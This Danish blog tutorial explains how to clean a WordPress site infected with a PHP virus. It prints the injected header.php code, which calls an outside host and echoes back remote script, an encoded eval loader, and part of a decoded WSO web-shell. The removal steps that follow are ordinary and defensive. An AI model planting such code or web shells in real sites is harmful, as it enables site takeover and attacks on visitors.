Fjern WordPress PHP virus

Denne tutorial præsenterer et bestemt tilfælde, hvor en blog WordPress den var inficeret. Fjernelse WordPress PHP virus.

Forleden lagde jeg mærke til en mistænkelig kode, der ser ud til at være en PHP-virus til WordPress. Følgende PHP-kode var til stede i header.php, før stregen </head>.

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

Dette er noget PHP-kode, der ser ud til at forsøge at hente indholdet af en ressource fra en ekstern server, men den del, der henviser til URL'en, er ufuldstændig.

Arbejdsmekanismen er noget mere kompleks og gør dette WordPress PHP Virus usynlig for besøgende på berørte websteder. I stedet retter den sig mod søgemaskiner (Google) og fører implicit til et betydeligt fald i antallet af besøgende på de berørte hjemmesider.

Detaljer om malwaren WordPress PHP virus

1. Ovenstående kode findes i header.php.

2. En fil dukkede op på serveren wp-log.php i mappen wp-includes.

3. wp-log.php indeholder en krypteret kode, men som er forholdsvis nem at dekryptere.

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

Dekrypter malware-kode fra wp-log.php :

<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

Dette ser ud til at være et ondsindet PHP-script, der indeholder kode til at håndtere godkendelse og handlinger på filer og mapper på en server. Det kan meget let ses, at dette script indeholder variabler som f.eks $auth_pass (godkendelsesadgangskode), $default_action (standardhandlingen), $default_use_ajax (bruger Ajax som standard) og $default_charset (standard tegnindstilling).

Dette script har naturligvis en sektion, der kontrollerer HTTP-brugeragenter for at blokere adgangen til visse webbots, såsom søgemaskiner. Det har også en sektion, der kontrollerer PHP-sikkerhedstilstand og indstiller visse arbejdsmapper.

4. Hvis der tilgås wp-log.php i browseren, vises en webside med et felt på autentificering. Ved første øjekast ser det ud til at være en filhåndtering, hvorigennem nye filer nemt kan uploades til målserveren.

Hvordan deviruser du en hjemmeside WordPress?

Altid involverer den manuelle de-virus-proces først at opdage og forstå, hvad sårbarheden var.

1. Generer en backup for hele hjemmesiden. Dette skal omfatte både filerne og databasen.

2. Bestem omtrent hvor længe virussen har eksisteret, og søg på webserveren for ændrede eller nyoprettede filer inden for den omtrentlige tidsramme.

For eksempel hvis du vil se filerne .php oprettet eller ændret i den sidste uge, kør kommandoen på serveren:

find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"

Det er en simpel metode, hvormed du kan afdække filerne WordPress inficerede og dem, der indeholder malware-kode.

3. Tjek filen .htaccess af mistænkelige direktiver. Tilladelseslinjer eller scriptudførelse.

4. Tjek databasen. Det er meget muligt, at nogle indlæg og sider WordPress redigeres med malware eller nye tilføjet brugere med rolle som administrator.

5. Tjek skrivetilladelserne for mapper og filer. chmod şi chown.

Anbefalede tilladelser er: 644 for filer og 755 for mapper.

find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;

6. Opdater alle WordPress Plugins / WordPress Themes.

Relateret: Fix Redirect WordPress Hack 2023 (Omdiriger virus)

Disse er "grundlæggende" metoder, hvormed du kan devirus en hjemmeside/blog WordPress. Hvis du har problemer og har brug for hjælp, er kommentarfeltet åbent.

Teknologientusiast, jeg skriver med glæde på StealthSettings.com siden 2006. Jeg har rig erfaring med operativsystemer: macOS, Windows og Linux, samt programmeringssprog og blogplatforme (WordPress) og til onlinebutikker (WooCommerce, Magento, PrestaShop).

Hvordan man » WordPress » Fjern WordPress PHP virus
Efterlad en kommentar